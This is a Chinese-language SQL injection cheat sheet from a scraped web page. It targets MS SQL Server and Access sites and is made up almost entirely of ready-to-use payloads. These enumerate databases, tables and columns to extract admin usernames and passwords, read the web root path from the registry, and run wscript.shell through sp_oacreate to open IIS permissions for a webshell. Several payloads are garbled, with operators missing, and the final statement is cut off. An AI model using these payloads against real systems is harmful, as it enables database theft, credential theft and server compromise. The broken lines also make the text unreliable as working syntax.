bitscn.com
   w 默认web站点
-v e,e：/'--
访问属性：（配合写入一个webshell）
declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod
@o, 'run', null,' cscript.exe c：/inetpub/wwwroot/chaccess.vbs -a
w3svc/1/root/e +browse'
爆库 特殊技巧：:%5c='/' 或者把/和/ 修改%5提交
如何得到sqlserver某个数据库中所有表的表名？
--------------------------------------------------------------------------------
用户表：
select name from sysobjects where xtype = 'u';
系统表：
select name from sysobjects where xtype = 's';
所有表：
select name from sysobjects where xtype = 's' or xtype = 'u';
--------------------------------------------------------------------------------
and 0(select top 1 paths from newtable)--
得到库名（从1到5都是系统的id，6以上才可以判断）
and 1=(select name from master.dbo.sysdatabases where dbid=7)--
and 0(select count(*) from master.dbo.sysdatabases where name>1 and
dbid=6)
依次提交 dbid = 7,8,9.... 得到更多的数据库名
and 0(select top 1 name from bbs.dbo.sysobjects where xtype='u') 暴到一个表
假设为 admin
and 0(select top 1 name from bbs.dbo.sysobjects where xtype='u' and name
not in ('admin')) 来得到其他的表。
and 0(select count(*) from bbs.dbo.sysobjects where xtype='u' and
name='admin'
and uid>(str(id))) 暴到uid的数值假设为18779569 uid=id
and 0(select top 1 name from bbs.dbo.syscolumns where id=18779569)
得到一个admin的一个字段,假设为 user_id
and 0(select top 1 name from bbs.dbo.syscolumns where id=18779569 and
name not in
('id',...)) 来暴出其他的字段
and 01) 可以得到用户名
依次可以得到密码。。。。。假设存在user_id username ,password 等字段
and 0(select count(*) from master.dbo.sysdatabases where name>1 and
dbid=6)
and 0(select top 1 name from bbs.dbo.sysobjects where xtype='u') 得到表名
and 0(select top 1 name from bbs.dbo.sysobjects where xtype='u' and name
not in('address'))
and 0(select count(*) from bbs.dbo.sysobjects where xtype='u' and
name='admin' and uid>(str(id))) 判断id值
and 0(select top 1 name from bbs.dbo.syscolumns where id=773577794) 所有字段
?id=-1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,* from admin
?id=-1 union select 1,2,3,4,5,6,7,8,*,9,10,11,12,13 from admin
(union，access也好用)
　得到web路径
;create table [dbo].[swap] ([swappass][char](255));--
and (select top 1 swappass from swap)=1--
;create table newtable(id int identity(1,1),paths varchar(500)) declare
@test varchar(20) exec master..xp_regread @rootkey='hkey_local_machine',
@key='system/currentcontrolset/services/w3svc/parameters/virtual roots/',
@value_name='/', values=@test output insert into p
bitscn.com